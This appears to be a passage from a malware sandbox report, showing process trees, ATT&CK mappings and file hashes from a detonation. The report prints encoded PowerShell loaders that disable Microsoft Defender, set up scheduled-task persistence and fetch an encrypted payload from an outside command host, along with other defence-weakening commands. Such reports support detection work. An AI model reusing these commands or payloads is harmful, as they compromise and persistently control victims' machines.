BBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:9240
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:9248
- - C:\Windows\system32\a\net_launcher.exe
    net_launcher.exe
    3⤵
    PID:9988
- - C:\Windows\system32\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:10204
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:9972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
        5⤵
        
        PID:8088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7088
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:2336
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:3232
- - C:\Windows\system32\a\RedX_Setup.exe
    RedX_Setup.exe
    3⤵
    PID:8068
  - - C:\Windows\system32\a\RedX_Setup.exe
      C:\Windows\system32\a\RedX_Setup.exe
      4⤵
      PID:6696
- - C:\Windows\system32\a\Rsvp_invite%23903388.exe
    Rsvp_invite%23903388.exe
    3⤵
    PID:9648
- - C:\Windows\system32\a\PPTV(pplive)_forap_1084_9993.exe
    PPTV(pplive)_forap_1084_9993.exe
    3⤵
    PID:10088
- - C:\Windows\system32\a\rustdesk-1.2.3-2-x86_64.exe
    rustdesk-1.2.3-2-x86_64.exe
    3⤵
    PID:10260
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /F /IM RuntimeBroker_rustdesk.exe
      4⤵
      Kills process with taskkill
      PID:5504
  - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
      "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"
      4⤵
      PID:12008
    - - C:\Windows\system32\icacls.exe
        
        "icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T
        5⤵
        Modifies file permissions
        
        PID:9860
    - - C:\Windows\system32\icacls.exe
        
        "icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T
        5⤵
        Modifies file permissions
        
        PID:12516
- - C:\Windows\system32\a\pardufrigi_installer_1.0.p1.exe
    pardufrigi_installer_1.0.p1.exe
    3⤵
    PID:3356
- - C:\Windows\system32\a\dajoke2.exe
    dajoke2.exe
    3⤵
    PID:12884
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:11292
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:9132
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe Approved%20Document%23402.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:10632
- - C:\Windows\system32\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    %E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    3⤵
    PID:13008
- - C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    %E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    3⤵
    PID:13196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:11884
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i cl.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:9720
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:11472
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Approval3546.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6160
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Order2390.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:768
- - C:\Windows\system32\a\beacon.exe
    beacon.exe
    3⤵
    PID:11780
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Approved%20Document%23D53LU.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10536
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Ref62535.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:8940
- - C:\Windows\system32\a\REF-CLI%20v1.0.3.exe
    REF-CLI%20v1.0.3.exe
    3⤵
    PID:1364

C:\Windows\SYSWOW64\explorer.exe
"C:\Windows\SYSWOW64\explorer.exe"
1⤵
PID:5248

C:\Windows\SysWOW64\odbcconf.exe
"C:\Windows\SysWOW64\odbcconf.exe"
1⤵
PID:5596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:9076
- C:\Program Files\Mozilla Firefox\Firefox.exe
  "C:\Program Files\Mozilla Firefox\Firefox.exe"
  2⤵
  PID:11324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5160 -ip 5160
1⤵
PID:5664

C:\Users\Admin\AppData\Roaming\svchostfqx.exe
C:\Users\Admin\AppData\Roaming\svchostfqx.exe
1⤵
PID:2628

C:\ProgramData\ffccabafffcbfac.exe
"C:\ProgramData\ffccabafffcbfac.exe"
1⤵
PID:5260

C:\Windows\SysWOW64\PATHPING.EXE
"C:\Windows\SysWOW64\PATHPING.EXE"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4476

C:\Windows\system32\a\4.exe
"C:\Windows\system32\a\4.exe"
1⤵
PID:3480

C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe
"C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"
1⤵
PID:940

C:\Windows\system32\a\3.exe
C:\Windows\system32\a\3.exe
1⤵
PID:3120

C:\Users\Admin\AppData\Roaming\velogs.exe
C:\Users\Admin\AppData\Roaming\velogs.exe
1⤵
PID:128

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2572
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 657B4E1080386A4ADAAA9465610D999F C
  2⤵
  PID:7912
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFD66.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240716281 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:7604
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2269EED71926260A52724177FE5C0C2A C
  2⤵
  PID:7924
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI284E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240727234 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:7896
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4609.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240732500 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    PID:5488
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9217.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240752765 18 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    PID:9540

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6768

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:7320

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7408

C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
1⤵
PID:4824

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:7192

C:\Windows\system32\a\main2.exe
"C:\Windows\system32\a\main2.exe"
1⤵
PID:6468
- C:\Windows\system32\a\main2.exe
  "C:\Windows\system32\a\main2.exe"
  2⤵
  PID:8532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:9012

C:\Users\Admin\AppData\Local\Temp\a\main2.exe
"C:\Users\Admin\AppData\Local\Temp\a\main2.exe"
1⤵
PID:9664
- C:\Users\Admin\AppData\Local\Temp\a\main2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\main2.exe"
  2⤵
  PID:7336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:1104

C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
1⤵
PID:9200

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:10252

C:\Windows\System32\nslookup.exe
"C:\Windows\System32\nslookup.exe"
1⤵
PID:12616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:12848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6124

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:13240

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:9836

C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe
1⤵
PID:6832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Query Registry

T1012

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

Dpe2YelRVn3c

Path C:\ProgramData\Dpe2YelRVn3c
Size 20KB
SHA256 5e1b9c0bbff74dc0255b7c27c1c82ab75b95e6202fc09f5a2aaa791c92fd6517
MD5 ec66e16566634710af71dd91939a1247
SHA1 3d24f2b9f77a538cb2d587f290befba6514cdc7c
SHA512 e1a7fd156e8e06b792302df639ebf8a6df9cdfc539807eb13ccbce5d9d9faff8a82b315c9bf2fd7f99ffc756a50431c54702fd670530667f11151cbb7efe7156
SSDEEP 24:TLyW91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBNd58pZjrqoU++JE9Ij:TeW9aw/aHLopFMavU1iBNHGjrXUPE9e
TLSH
T185920E8F2F343221C0F4473AE8C109AB2E7C112C832369D9EE9454F29C9659FF6065F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HinsRnWgcHUu

Path C:\ProgramData\HinsRnWgcHUu
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
